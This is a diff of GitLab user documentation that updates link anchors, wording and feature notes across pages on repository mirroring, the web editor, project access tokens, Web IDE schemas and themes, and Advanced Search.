@@ -44,7 +44,7 @@ If you don't already have a GPG key, the following steps will help you get
started:
1. [Install GPG](https://www.gnupg.org/download/index.html) for your operating system.
- If your Operating System has `gpg2` installed, replace `gpg` with `gpg2` in
+ If your operating system has `gpg2` installed, replace `gpg` with `gpg2` in
the following commands.
1. Generate the private/public key pair with the following command, which will
spawn a series of questions:
diff --git a/doc/user/project/repository/index.md b/doc/user/project/repository/index.md
index a57806cf3ff..536cae263b8 100644
--- a/doc/user/project/repository/index.md
+++ b/doc/user/project/repository/index.md
@@ -190,7 +190,7 @@ updated every 15 minutes at most, so may not reflect recent activity. The displa
The project size may differ slightly from one instance to another due to compression, housekeeping, and other factors.
[Repository size limit](../../admin_area/settings/account_and_limit_settings.md) may be set by admins.
-GitLab.com's repository size limit [is set by GitLab](../../gitlab_com/index.md#repository-size-limit).
+GitLab.com's repository size limit [is set by GitLab](../../gitlab_com/index.md#account-and-limit-settings).
## Contributors
diff --git a/doc/user/project/repository/reducing_the_repo_size_using_git.md b/doc/user/project/repository/reducing_the_repo_size_using_git.md
index 8247f69c61a..28fdda07b05 100644
--- a/doc/user/project/repository/reducing_the_repo_size_using_git.md
+++ b/doc/user/project/repository/reducing_the_repo_size_using_git.md
@@ -14,11 +14,9 @@ Git repositories become larger over time. When large files are added to a Git re
- Git repository storage limits [can be reached](#storage-limits).
Rewriting a repository can remove unwanted history to make the repository smaller.
-[`git filter-repo`](https://github.com/newren/git-filter-repo) is a tool for quickly rewriting Git
-repository history, and is recommended over both:
-
-- [`git filter-branch`](https://git-scm.com/docs/git-filter-branch).
-- [BFG](https://rtyley.github.io/bfg-repo-cleaner/).
+We **recommend [`git filter-repo`](https://github.com/newren/git-filter-repo/blob/main/README.md)**
+over [`git filter-branch`](https://git-scm.com/docs/git-filter-branch) and
+[BFG](https://rtyley.github.io/bfg-repo-cleaner/).
DANGER: **Danger:**
Rewriting repository history is a destructive operation. Make sure to backup your repository before
@@ -37,7 +35,7 @@ other internal references (refs) that are automatically created by GitLab. These
- `refs/merge-requests/*` for merge requests.
- `refs/pipelines/*` for
- [pipelines](../../../ci/pipelines/index.md#troubleshooting-fatal-reference-is-not-a-tree).
+ [pipelines](../../../ci/troubleshooting.md#fatal-reference-is-not-a-tree-error).
- `refs/environments/*` for environments.
Git doesn't usually download these refs to make cloning and fetch faster, but we can use the `--mirror` option to
@@ -49,7 +47,7 @@ download all the advertised refs.
1. Clone a fresh copy of the repository using `--bare` and `--mirror`:
```shell
- git clone --bare --mirror https://example.gitlab.com/my/project.git
+ git clone --bare --mirror https://gitlab.example.com/my/project.git
```
1. Using `git filter-repo`, purge any files from the history of your repository.
@@ -252,9 +250,9 @@ When using repository cleanup, note:
Repository size limits:
-- Can [be set by an administrator](../../admin_area/settings/account_and_limit_settings.md#repository-size-limit-starter-only)
+- Can [be set by an administrator](../../admin_area/settings/account_and_limit_settings.md#account-and-limit-settings)
on self-managed instances. **(STARTER ONLY)**
-- Are [set for GitLab.com](../../gitlab_com/index.md#repository-size-limit).
+- Are [set for GitLab.com](../../gitlab_com/index.md#account-and-limit-settings).
When a project has reached its size limit, you cannot:
@@ -303,14 +301,9 @@ This process is not suitable for removing sensitive data like password or keys f
Information about commits, including file content, is cached in the database, and will remain
visible even after they have been removed from the repository.
-<!-- ## Troubleshooting
+## Troubleshooting
-Include any troubleshooting steps that you can foresee. If you know beforehand what issues
-one might have when setting this up, or when something is changed, or on upgrading, it's
-important to describe those, too. Think of things that may go wrong and include them here.
-This is important to minimize requests for support, and to avoid doc comments with
-questions that you know someone might ask.
+### Incorrect repository statistics shown in the GUI
-Each scenario can be a third-level heading, e.g. `### Getting error message X`.
-If you have none to add when creating a doc, leave this section in place
-but commented out to help encourage others to add to it in the future. -->
+If the displayed size or commit number is different from the exported `.tar.gz` or local repository,
+you can ask a GitLab administrator to [force an update](../../../administration/troubleshooting/gitlab_rails_cheat_sheet.md#incorrect-repository-statistics-shown-in-the-gui).
diff --git a/doc/user/project/repository/repository_mirroring.md b/doc/user/project/repository/repository_mirroring.md
index bbb673b74b0..e1d2c20850b 100644
--- a/doc/user/project/repository/repository_mirroring.md
+++ b/doc/user/project/repository/repository_mirroring.md
@@ -11,7 +11,8 @@ Repository mirroring allows for mirroring of repositories to and from external s
used to mirror branches, tags, and commits between repositories.
A repository mirror at GitLab will be updated automatically. You can also manually trigger an update
-at most once every 5 minutes.
+at most once every 5 minutes. Follow [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/237891)
+for discussions on how to potentially reduce the delay.
## Overview
@@ -45,6 +46,11 @@ The following are some possible use cases for repository mirroring:
- You have old projects in another source that you don't use actively anymore, but don't want to
remove for archiving purposes. In that case, you can create a push mirror so that your active
GitLab repository can push its changes to the old location.
+- You are a GitLab self-managed user for privacy reasons and your instance is closed to the public,
+ but you still have certain software components that you want open sourced. In this case, utilizing
+ GitLab to be your primary repository which is closed from the public, and using push mirroring to a
+ GitLab.com repository that's public, allows you to open source specific projects and contribute back
+ to the open source community.
## Pushing to a remote repository **(CORE)**
@@ -67,7 +73,7 @@ When push mirroring is enabled, only push commits directly to the mirrored repos
mirror diverging. All changes will end up in the mirrored repository whenever:
- Commits are pushed to GitLab.
-- A [forced update](#forcing-an-update-core) is initiated.
+- A [forced update](#forcing-an-update) is initiated.
Changes pushed to files in the repository are automatically pushed to the remote mirror at least:
@@ -247,7 +253,7 @@ directly to the repository on GitLab. Instead, any commits should be pushed to t
Changes pushed to the upstream repository will be pulled into the GitLab repository, either:
- Automatically within a certain period of time.
-- When a [forced update](#forcing-an-update-core) is initiated.
+- When a [forced update](#forcing-an-update) is initiated.
CAUTION: **Caution:**
If you do manually update a branch in the GitLab repository, the branch will become diverged from
@@ -393,17 +399,17 @@ failed. This will become visible in either the:
- Pull mirror settings page.
When a project is hard failed, it will no longer get picked up for mirroring. A user can resume the
-project mirroring again by [Forcing an update](#forcing-an-update-core).
+project mirroring again by [Forcing an update](#forcing-an-update).
### Trigger update using API **(STARTER)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/3453) in [GitLab Starter](https://about.gitlab.com/pricing/) 10.3.
Pull mirroring uses polling to detect new branches and commits added upstream, often minutes
-afterwards. If you notify GitLab by [API](../../../api/projects.md#start-the-pull-mirroring-process-for-a-project-starter),
+afterwards. If you notify GitLab by [API](../../../api/projects.md#start-the-pull-mirroring-process-for-a-project),
updates will be pulled immediately.
-For more information, see [Start the pull mirroring process for a Project](../../../api/projects.md#start-the-pull-mirroring-process-for-a-project-starter).
+For more information, see [Start the pull mirroring process for a Project](../../../api/projects.md#start-the-pull-mirroring-process-for-a-project).
## Forcing an update **(CORE)**
@@ -425,8 +431,8 @@ them and how they will be resolved.
Rewriting any mirrored commit on either remote will cause conflicts and mirroring to fail. This can
be prevented by:
-- [Pulling only protected branches](#only-mirror-protected-branches-starter).
-- [Pushing only protected branches](#push-only-protected-branches-core).
+- [Pulling only protected branches](#only-mirror-protected-branches).
+- [Pushing only protected branches](#push-only-protected-branches).
You should [protect the branches](../protected_branches.md) you wish to mirror on both
remotes to prevent conflicts caused by rewriting history.
@@ -439,13 +445,13 @@ protected branches.
### Configure a webhook to trigger an immediate pull to GitLab
-Assuming you have already configured the [push](#setting-up-a-push-mirror-to-another-gitlab-instance-with-2fa-activated) and [pull](#pulling-from-a-remote-repository-starter) mirrors in the upstream GitLab instance, to trigger an immediate pull as suggested above, you will need to configure a [Push Event Web Hook](../integrations/webhooks.md#push-events) in the downstream instance.
+Assuming you have already configured the [push](#setting-up-a-push-mirror-to-another-gitlab-instance-with-2fa-activated) and [pull](#pulling-from-a-remote-repository) mirrors in the upstream GitLab instance, to trigger an immediate pull as suggested above, you will need to configure a [Push Event Web Hook](../integrations/webhooks.md#push-events) in the downstream instance.
To do this:
- Create a [personal access token](../../profile/personal_access_tokens.md) with `API` scope.
- Navigate to **Settings > Webhooks**
-- Add the webhook URL which in this case will use the [Pull Mirror API](../../../api/projects.md#start-the-pull-mirroring-process-for-a-project-starter) request to trigger an immediate pull after updates to the repository.
+- Add the webhook URL which in this case will use the [Pull Mirror API](../../../api/projects.md#start-the-pull-mirroring-process-for-a-project) request to trigger an immediate pull after updates to the repository.
```plaintext
https://gitlab.example.com/api/v4/projects/:id/mirror/pull?private_token=<your_access_token>
diff --git a/doc/user/project/repository/web_editor.md b/doc/user/project/repository/web_editor.md
index 452955b327c..af0daaaeca2 100644
--- a/doc/user/project/repository/web_editor.md
+++ b/doc/user/project/repository/web_editor.md
@@ -8,8 +8,8 @@ type: howto
# GitLab Web Editor
Sometimes it's easier to make quick changes directly from the GitLab interface
-than to clone the project and use the Git command line tool. In this feature
-highlight we look at how you can create a new file, directory, branch or
+than to clone the project and use the Git command-line tool. In this feature
+highlight, we look at how you can create a new file, directory, branch, or
tag from the file browser. All of these actions are available from a single
dropdown menu.
@@ -17,13 +17,12 @@ dropdown menu.
From a project's files page, click the '+' button to the right of the branch selector.
Choose **New file** from the dropdown.
-
![New file dropdown menu](img/web_editor_new_file_dropdown.png)
-Enter a file name in the **File name** box. Then, add file content in the editor
+Enter a file name in the **Filename** box. Then, add file content in the editor
area. Add a descriptive commit message and choose a branch. The branch field
will default to the branch you were viewing in the file browser. If you enter
-a new branch name, a checkbox will appear allowing you to start a new merge
+a new branch name, a checkbox will appear, allowing you to start a new merge
request after you commit the changes.
When you are satisfied with your new file, click **Commit Changes** at the bottom.
@@ -32,14 +31,14 @@ When you are satisfied with your new file, click **Commit Changes** at the botto
### Template dropdowns
-When starting a new project, there are some common files which the new project
+When starting a new project, there are some common files that the new project
might need too. Therefore a message will be displayed by GitLab to make this
easy for you.
![First file for your project](img/web_editor_template_dropdown_first_file.png)
-When clicking on either `LICENSE` or `.gitignore`, etc., a dropdown will be displayed
-to provide you with a template which might be suitable for your project.
+When clicking on either `LICENSE` or `.gitignore` and so on, a dropdown will be displayed
+to provide you with a template that might be suitable for your project.
![MIT license selected](img/web_editor_template_dropdown_mit_license.png)
@@ -56,16 +55,16 @@ least add a file in order for the button to show up.
## Upload a file
The ability to create a file is great when the content is text. However, this
-doesn't work well for binary data such as images, PDFs or other file types. In
-this case you need to upload a file.
+doesn't work well for binary data such as images, PDFs, or other file types. In
+this case, you need to upload a file.
From a project's files page, click the '+' button to the right of the branch
selector. Choose **Upload file** from the dropdown.
![Upload file dropdown menu](img/web_editor_upload_file_dropdown.png)
-Once the upload dialog pops up there are two ways to upload your file. Either
-drag and drop a file on the pop up or use the **click to upload** link. A file
+Once the upload dialog pops up, there are two ways to upload your file. Either
+drag and drop a file on the popup or use the **click to upload** link. A file
preview will appear once you have selected a file to upload.
Enter a commit message, choose a branch, and click **Upload file** when you are
@@ -83,7 +82,7 @@ Choose **New directory** from the dropdown.
![New directory dropdown](img/web_editor_new_directory_dropdown.png)
-In the new directory dialog enter a directory name, a commit message and choose
+In the new directory dialog, enter a directory name, a commit message, and choose
the target branch. Click **Create directory** to finish.
![New directory dialog](img/web_editor_new_directory_dialog.png)
@@ -108,7 +107,7 @@ name or a referenced merge request or your project has an active
fork relationship.
If you would like to make this button appear, a possible workaround is to [remove your project's
fork relationship](../settings/index.md#removing-a-fork-relationship). Once removed, the fork
-relationship cannot be restored and you will no longer be able to send merge requests to the source.
+relationship cannot be restored, and you will no longer be able to send merge requests to the source.
![Create Button](img/web_editor_new_branch_from_issue_create_button_v12_6.png)
@@ -117,9 +116,9 @@ This dropdown contains the options **Create merge request and branch** and **Cre
![New Branch Button](img/web_editor_new_branch_from_issue_v_12_6.png)
Once you choose one of these options, a new branch or branch and merge request
-will be created, based on the default
-branch of your project, by default `master`. The branch name will be based on
-the title of the issue and as a prefix, it will have its internal ID. Thus, the example
+will be created based on the default
+branch of your project (by default, `master`). The branch name will be based on
+the title of the issue, and as a prefix, it will have its internal ID. Thus, the example
screenshot above will create a branch named
`2-make-static-site-auto-deploy-and-serve`.
@@ -141,13 +140,13 @@ merge request is merged.
### Create a new branch from a project's dashboard
If you want to make changes to several files before creating a new merge
-request, you can create a new branch up front. From a project's files page,
+request, you can create a new branch upfront. From a project's files page,
choose **New branch** from the dropdown.
![New branch dropdown](img/web_editor_new_branch_dropdown.png)
Enter a new **Branch name**. Optionally, change the **Create from** field
-to choose which branch, tag or commit SHA this new branch will originate from.
+to choose which branch, tag, or commit SHA this new branch will originate from.
This field will autocomplete if you start typing an existing branch or tag.
Click **Create branch** and you will be returned to the file browser on this new
branch.
@@ -155,7 +154,7 @@ branch.
![New branch page](img/web_editor_new_branch_page.png)
You can now make changes to any files, as needed. When you're ready to merge
-the changes back to master you can use the widget at the top of the screen.
+the changes back to master, you can use the widget at the top of the screen.
This widget only appears for a period of time after you create the branch or
modify files.
@@ -172,15 +171,15 @@ SHA. From a project's files page, choose **New tag** from the dropdown.
Give the tag a name such as `v1.0.0`. Choose the branch or SHA from which you
would like to create this new tag. You can optionally add a message and
release notes. The release notes section supports Markdown format and you can
-also upload an attachment. Click **Create tag** and you will be taken to the tag
+also upload an attachment. Click **Create tag**, and you will be taken to the tag
list page.
![New tag page](img/web_editor_new_tag_page.png)
## Tips
-When creating or uploading a new file, or creating a new directory, you can
-trigger a new merge request rather than committing directly to master. Enter
+When creating or uploading a new file or creating a new directory, you can
+trigger a new merge request rather than committing directly to `master`. Enter
a new branch name in the **Target branch** field. You will notice a checkbox
appear that is labeled **Start a new merge request with these changes**. After
you commit the changes you will be taken to a new merge request form.
diff --git a/doc/user/project/requirements/index.md b/doc/user/project/requirements/index.md
index ae22dbc7e72..9d7d3914905 100644
--- a/doc/user/project/requirements/index.md
+++ b/doc/user/project/requirements/index.md
@@ -95,7 +95,7 @@ You can also sort the requirements list by:
> - [Added](https://gitlab.com/gitlab-org/gitlab/-/issues/215514) ability to specify individual requirements and their statuses in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.2.
GitLab supports [requirements test
-reports](../../../ci/pipelines/job_artifacts.md#artifactsreportsrequirements-ultimate) now.
+reports](../../../ci/pipelines/job_artifacts.md#artifactsreportsrequirements) now.
You can add a job to your CI pipeline that, when triggered, marks all existing
requirements as Satisfied.
diff --git a/doc/user/project/settings/img/cve_id_request_toggle.png b/doc/user/project/settings/img/cve_id_request_toggle.png
new file mode 100644
index 00000000000..53ec804922c
--- /dev/null
+++ b/doc/user/project/settings/img/cve_id_request_toggle.png
Binary files differ
diff --git a/doc/user/project/settings/index.md b/doc/user/project/settings/index.md
index a65e48d5d56..395d4bf30c5 100644
--- a/doc/user/project/settings/index.md
+++ b/doc/user/project/settings/index.md
@@ -37,6 +37,9 @@ You can select a framework label to identify that your project has certain compl
- SOC 2 - Service Organization Control 2
- SOX - Sarbanes-Oxley
+NOTE: **Note:**
+Compliance framework labels do not affect your project settings.
+
### Sharing and permissions
For your repository, you can set up features such as public access, repository features,
@@ -75,7 +78,7 @@ Some features depend on others:
- If you disable the **Issues** option, GitLab also removes the following
features:
- **Issue Boards**
- - [**Service Desk**](#service-desk-starter)
+ - [**Service Desk**](#service-desk)
NOTE: **Note:**
When the **Issues** option is disabled, you can still access **Milestones**
@@ -97,6 +100,16 @@ Some features depend on others:
- Metrics dashboard access requires reading both project environments and deployments.
Users with access to the metrics dashboard can also access environments and deployments.
+#### Disabling the CVE ID request button
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41203) in GitLab 13.4, only for public projects on GitLab.com.
+
+In applicable environments, a [**Create CVE ID Request** button](../../application_security/cve_id_request.md)
+is present in the issue sidebar. The button may be disabled on a per-project basis by toggling the
+setting **Enable CVE ID requests in the issue sidebar**.
+
+![CVE ID Request toggle](img/cve_id_request_toggle.png)
+
#### Disabling email notifications
Project owners can disable all [email notifications](../../profile/notifications.md#gitlab-notification-emails)
@@ -234,10 +247,10 @@ This action:
- Deletes a project including all associated resources (issues, merge requests etc).
- From [GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/issues/220382) on [Premium or Silver](https://about.gitlab.com/pricing/) or higher tiers,
-group admins can [configure](../../group/index.md#enabling-delayed-project-removal-premium) projects within a group
+group admins can [configure](../../group/index.md#enabling-delayed-project-removal) projects within a group
to be deleted after a delayed period.
When enabled, actual deletion happens after number of days
-specified in [instance settings](../../admin_area/settings/visibility_and_access_controls.md#default-deletion-delay-premium-only).
+specified in [instance settings](../../admin_area/settings/visibility_and_access_controls.md#default-deletion-delay).
CAUTION: **Warning:**
The default behavior of [Delayed Project deletion](https://gitlab.com/gitlab-org/gitlab/-/issues/32935) in GitLab 12.6 was changed to
diff --git a/doc/user/project/settings/project_access_tokens.md b/doc/user/project/settings/project_access_tokens.md
index cbc4895f014..57cb610a2e9 100644
--- a/doc/user/project/settings/project_access_tokens.md
+++ b/doc/user/project/settings/project_access_tokens.md
@@ -15,10 +15,7 @@ type: reference, howto
> - It's recommended for production use.
> - For GitLab self-managed instances, GitLab administrators can [disable it](#enable-or-disable-project-access-tokens).
-Project access tokens are scoped to a project and can be used to authenticate with the [GitLab API](../../../api/README.md#personalproject-access-tokens).
-
-<!-- Commented out until https://gitlab.com/gitlab-org/gitlab/-/issues/219551 is fixed -->
-<!-- You can also use project access tokens with Git to authenticate over HTTP or SSH. -->
+Project access tokens are scoped to a project and can be used to authenticate with the [GitLab API](../../../api/README.md#personalproject-access-tokens). You can also use project access tokens with Git to authenticate over HTTP or SSH.
Project access tokens expire on the date you define, at midnight UTC.
@@ -43,7 +40,8 @@ For each project access token created, a bot user will also be created and added
For the bot:
- The name is set to the name of the token.
-- The username is set to `project_{project_id}_bot`, such as `project_123_bot`.
+- The username is set to `project_{project_id}_bot` for the first access token, such as `project_123_bot`.
+- The username is set to `project_{project_id}_bot{bot_count}` for further access tokens, such as `project_123_bot1`.
API calls made with a project access token are associated with the corresponding bot user.
@@ -54,7 +52,8 @@ When the project access token is [revoked](#revoking-a-project-access-token) the
records will be moved to a system-wide user with the username "Ghost User". For more information,
see [Associated Records](../../profile/account/delete_account.md#associated-records).
-Project bot users are a [GitLab-created service account](../../../subscriptions/index.md#self-managed) and do not count as a licensed seat.
+Project bot users are a [GitLab-created service account](../../../subscriptions/self_managed/index.md#choose-the-number-of-users), but count as a licensed seat.
+These users will not count against your licensed seat in the future when [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/223695) is resolved.
## Revoking a project access token
diff --git a/doc/user/project/static_site_editor/index.md b/doc/user/project/static_site_editor/index.md
index 4e401014122..ce14cefba92 100644
--- a/doc/user/project/static_site_editor/index.md
+++ b/doc/user/project/static_site_editor/index.md
@@ -82,7 +82,7 @@ or [create a new project from a template](../../../gitlab-basics/create-project.
1. Visit your website and look at the bottom-left corner of the screen to see the new **Edit this page** button.
Anyone satisfying the [requirements](#requirements) will be able to edit the
-content of the pages without prior knowledge of Git nor of your site's
+content of the pages without prior knowledge of Git or of your site's
codebase.
NOTE: **Note:**
diff --git a/doc/user/project/web_ide/index.md b/doc/user/project/web_ide/index.md
index 12ba55cafdc..821b42af049 100644
--- a/doc/user/project/web_ide/index.md
+++ b/doc/user/project/web_ide/index.md
@@ -53,21 +53,42 @@ If you are missing Syntax Highlighting support for any language, we prepared a s
NOTE: **Note:**
Single file editing is based on the [Ace Editor](https://ace.c9.io).
-### Schema based validation
+### Themes
+
+> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2389) in GitLab in 13.0.
+> - Full Solarized Dark Theme [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/219228) in GitLab 13.1.
+
+All the themes GitLab supports for syntax highlighting are added to the Web IDE's code editor.
+You can pick a theme from your [profile preferences](../../profile/preferences.md).
+
+The themes are available only in the Web IDE file editor, except for the [dark theme](https://gitlab.com/gitlab-org/gitlab/-/issues/209808) and
+the [solarized dark theme](https://gitlab.com/gitlab-org/gitlab/-/issues/219228),
+which apply to the entire Web IDE screen.
+
+| Solarized Light Theme | Solarized Dark Theme | Dark Theme |
+|---------------------------------------------------------------|-------------------------------------------------------------|-----------------------------------------|
+| ![Solarized Light Theme](img/solarized_light_theme_v13_0.png) | ![Solarized Dark Theme](img/solarized_dark_theme_v13_1.png) | ![Dark Theme](img/dark_theme_v13_0.png) |
+
+## Schema based validation
-> - Support for `.gitlab-ci.yml` validation [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/218472) in GitLab 13.2.
+> - Support for validation based on predefined schemas [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/218472) in GitLab 13.2.
> - It was deployed behind a feature flag, disabled by default.
> - It's enabled on GitLab.com.
> - It cannot be enabled or disabled per-project.
-> - For GitLab self-managed instances, GitLab administrators can opt to [enable it](#enable-or-disable-schema-based-validation-core-only).
+> - For GitLab self-managed instances, GitLab administrators can opt to [enable it](#enable-or-disable-validation-based-on-predefined-schemas).
+> - Support for validation based on custom schemas [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/226982) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.4.
The Web IDE provides validation support for certain JSON and YAML files using schemas
-based on the [JSON Schema Store](https://www.schemastore.org/json/). This feature is
-only supported for the `.gitlab-ci.yml` file.
+based on the [JSON Schema Store](https://www.schemastore.org/json/).
-#### Enable or disable Schema based validation **(CORE ONLY)**
+### Predefined schemas
-Schema based validation is under development and not ready for production use. It is
+The Web IDE has validation for certain files built in. This feature is only supported for
+the `*.gitlab-ci.yml` files.
+
+#### Enable or disable validation based on predefined schemas **(CORE ONLY)**
+
+Validation based on predefined schemas is under development and not ready for production use. It is
deployed behind a feature flag that is **disabled by default** for self-managed instances,
[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md)
can enable it for your instance.
@@ -84,21 +105,35 @@ To disable it:
Feature.disable(:schema_linting)
```
-### Themes
+### Custom schemas **(PREMIUM)**
-> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2389) in GitLab in 13.0.
-> - Full Solarized Dark Theme [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/219228) in GitLab 13.1.
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/226982) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.4.
-All the themes GitLab supports for syntax highlighting are added to the Web IDE's code editor.
-You can pick a theme from your [profile preferences](../../profile/preferences.md).
+The Web IDE also allows you to define custom schemas for certain JSON/YAML files in your project.
+You can do so by defining a `schemas` entry in the `.gitlab/.gitlab-webide.yml` file inside the
+repository's root. Here is an example configuration:
-The themes are available only in the Web IDE file editor, except for the [dark theme](https://gitlab.com/gitlab-org/gitlab/-/issues/209808) and
-the [solarized dark theme](https://gitlab.com/gitlab-org/gitlab/-/issues/219228),
-which apply to the entire Web IDE screen.
+```yaml
+schemas:
+ - uri: https://json.schemastore.org/package
+ match:
+ - package.json
+ - uri: https://somewebsite.com/first/raw/url
+ match:
+ - data/release_posts/unreleased/*.{yml,yaml}
+ - uri: https://somewebsite.com/second/raw/url
+ match:
+ - "*.meta.json"
+```
-| Solarized Light Theme | Solarized Dark Theme | Dark Theme |
-|---------------------------------------------------------------|-------------------------------------------------------------|-----------------------------------------|
-| ![Solarized Light Theme](img/solarized_light_theme_v13_0.png) | ![Solarized Dark Theme](img/solarized_dark_theme_v13_1.png) | ![Dark Theme](img/dark_theme_v13_0.png) |
+Each schema entry supports two properties:
+
+- `uri`: please provide an absolute URL for the schema definition file here. The schema from this URL
+is loaded when a matching file is open.
+- `match`: a list of matching paths or glob expressions. If a schema matches a particular path pattern,
+it will be applied to that file. Please enclose the pattern in quotes if it begins with an asterisk (`*`),
+it's be applied to that file. If a pattern begins with an asterisk (`*`), enclose it in quotation
+marks. Otherwise, the configuration file is not valid YAML.
## Configure the Web IDE
@@ -236,12 +271,12 @@ below.
CAUTION: **Warning:**
Interactive Web Terminals for the Web IDE is currently in **Beta**.
-Shared Runners [do not yet support Interactive Web Terminals](https://gitlab.com/gitlab-org/gitlab/-/issues/24674),
-so you would need to use your own private Runner(s) to make use of this feature.
+Shared runners [do not yet support Interactive Web Terminals](https://gitlab.com/gitlab-org/gitlab/-/issues/24674),
+so you would need to use your own private runner to make use of this feature.
[Interactive Web Terminals](../../../ci/interactive_web_terminal/index.md)
give the project [Maintainers](../../permissions.md#project-members-permissions)
-user access to a terminal to interact with the Runner directly from
+user access to a terminal to interact with the runner directly from
GitLab, including through the Web IDE.
### Runner configuration
@@ -249,7 +284,7 @@ GitLab, including through the Web IDE.
Some things need to be configured in the runner for the interactive web terminal
to work:
-- The Runner needs to have
+- The runner needs to have
[`[session_server]` configured properly](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-session_server-section).
This section requires at least a `session_timeout` value (which defaults to 1800
seconds) and a `listen_address` value. If `advertise_address` is not defined, `listen_address` is used.
@@ -346,7 +381,7 @@ environment.
NOTE: **Note:**
Only file changes in the Web IDE are synced to the terminal.
Changes made in the terminal are **not** synced to the Web IDE.
-This feature is only available for Kubernetes Runners.
+This feature is only available for Kubernetes runners.
To enable file syncing to the web terminal, the `.gitlab/.gitlab-webide.yml`
file needs to have a `webide-file-sync` service configured. Here is an example
@@ -373,7 +408,7 @@ terminal:
more information.
- `$CI_PROJECT_DIR` is a
[predefined environment variable](../../../ci/variables/predefined_variables.md)
- for GitLab Runners. This is where your project's repository will be.
+ for GitLab Runner. This is where your project's repository will be.
Once you have configured the web terminal for file syncing, then when the web
terminal is started, a **Terminal** status will be visible in the status bar.
diff --git a/doc/user/project/wiki/index.md b/doc/user/project/wiki/index.md
index 5503cd97628..40ef5e216fd 100644
--- a/doc/user/project/wiki/index.md
+++ b/doc/user/project/wiki/index.md
@@ -165,7 +165,7 @@ Similar to versioned diff file views, you can see the changes made in a given Wi
> - Git events were [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/216014) in **GitLab 13.0.**
> - It's enabled on GitLab.com.
> - Git access activity creation is managed by a feature flag.
-> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-wiki-events-in-git-core-only). **(CORE ONLY)**
+> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-wiki-events-in-git). **(CORE ONLY)**
Wiki events (creation, deletion, and updates) are tracked by GitLab and
displayed on the [user profile](../../profile/index.md#user-profile),
diff --git a/doc/user/search/advanced_global_search.md b/doc/user/search/advanced_global_search.md
index 820d66e4cd6..53ec8b35631 100644
--- a/doc/user/search/advanced_global_search.md
+++ b/doc/user/search/advanced_global_search.md
@@ -5,12 +5,12 @@ info: "To determine the technical writer assigned to the Stage/Group associated
type: reference
---
-# Advanced Global Search **(STARTER)**
+# Advanced Search **(STARTER)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/109) in GitLab [Starter](https://about.gitlab.com/pricing/) 8.4.
NOTE: **GitLab.com availability:**
-Advanced Global Search (powered by Elasticsearch) is enabled for Bronze and above on GitLab.com since 2020-07-10.
+Advanced Search (powered by Elasticsearch) is enabled for Bronze and above on GitLab.com since 2020-07-10.
Leverage Elasticsearch for faster, more advanced code search across your entire
GitLab instance.
@@ -20,7 +20,7 @@ visit the [administrator documentation](../../integration/elasticsearch.md).
## Overview
-The Advanced Global Search in GitLab is a powerful search service that saves
+The Advanced Search in GitLab is a powerful search service that saves
you time. Instead of creating duplicate code and wasting time, you can
now search for code within other projects that can help your own project.
@@ -39,12 +39,15 @@ searching in:
## Use cases
-The Advanced Global Search can be useful in various scenarios.
+The Advanced Search can be useful in various scenarios.
### Faster searches
If you are dealing with huge amount of data and want to keep GitLab's search
-fast, the Advanced Global Search will help you achieve that.
+fast, Advanced Search will help you achieve that.
+
+NOTE: **Note:**
+Between versions 12.10 and 13.4, Advanced Search response times have improved by 80%.
### Promote innersourcing
@@ -58,13 +61,13 @@ throughout the GitLab instance and find the code they search for.
Just use the search as before and GitLab will show you matching code from each
project you have access to.
-![Advanced Global Search](img/advanced_global_search.png)
+![Advanced Search](img/advanced_global_search.png)
-You can also use the [Advanced Syntax Search](advanced_search_syntax.md) which
+You can also use the [Advanced Search Syntax](advanced_search_syntax.md) which
provides some useful queries.
NOTE: **Note:**
Elasticsearch has only data for the default branch. That means that if you go
to the repository tree and switch the branch from the default to something else,
-then the "Code" tab in the search result page will be served by the regular
+then the "Code" tab in the search result page will be served by the basic
search even if Elasticsearch is enabled.
diff --git a/doc/user/search/advanced_search_syntax.md b/doc/user/search/advanced_search_syntax.md
index d8fce3223ed..804d4c540ac 100644
--- a/doc/user/search/advanced_search_syntax.md
+++ b/doc/user/search/advanced_search_syntax.md
@@ -5,12 +5,12 @@ info: "To determine the technical writer assigned to the Stage/Group associated
type: reference
---
-# Advanced Syntax Search **(STARTER)**
+# Advanced Search Syntax **(STARTER)**
> - Introduced in [GitLab Enterprise Starter](https://about.gitlab.com/pricing/) 9.2
NOTE: **GitLab.com availability:**
-Advanced Global Search (powered by Elasticsearch) is enabled for Bronze and above on GitLab.com since 2020-07-10.
+Advanced Search (powered by Elasticsearch) is enabled for Bronze and above on GitLab.com since 2020-07-10.
Use advanced queries for more targeted search results.
@@ -19,11 +19,11 @@ visit the [administrator documentation](../../integration/elasticsearch.md).
## Overview
-The Advanced Syntax Search is a subset of the
-[Advanced Global Search](advanced_global_search.md), which you can use if you
+The Advanced Search Syntax is a subset of the
+[Advanced Search](advanced_global_search.md), which you can use if you
want to have more specific search results.
-Advanced Global Search only supports searching the [default branch](../project/repository/branches/index.md#default-branch).
+Advanced Search only supports searching the [default branch](../project/repository/branches/index.md#default-branch).
## Use cases
@@ -38,26 +38,26 @@ not so sure.
In that case, using the advanced search syntax in your query will yield much
better results.
-## Using the Advanced Syntax Search
+## Using the Advanced Search Syntax
-The Advanced Syntax Search supports fuzzy or exact search queries with prefixes,
+The Advanced Search Syntax supports fuzzy or exact search queries with prefixes,
boolean operators, and much more.
